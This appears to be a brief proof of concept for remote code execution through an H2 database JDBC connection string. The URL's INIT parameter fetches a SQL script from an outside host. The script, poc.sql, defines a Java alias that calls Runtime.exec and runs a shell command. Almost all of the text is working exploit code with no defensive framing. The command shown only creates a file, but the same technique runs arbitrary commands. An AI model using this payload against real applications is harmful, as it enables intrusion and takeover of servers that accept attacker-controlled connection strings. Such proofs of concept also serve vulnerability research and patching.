h2 data source connection string: // configuration { "jdbc": "jdbc:h2:mem:test;TRACELEVELSYSTEMOUT=3;INIT=RUNSCRIPT FROM 'http://10.168.174.1:8000/poc.sql';", }

the content of poc.sql: // poc.sql CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('touch /tmp/jdbch2rce')
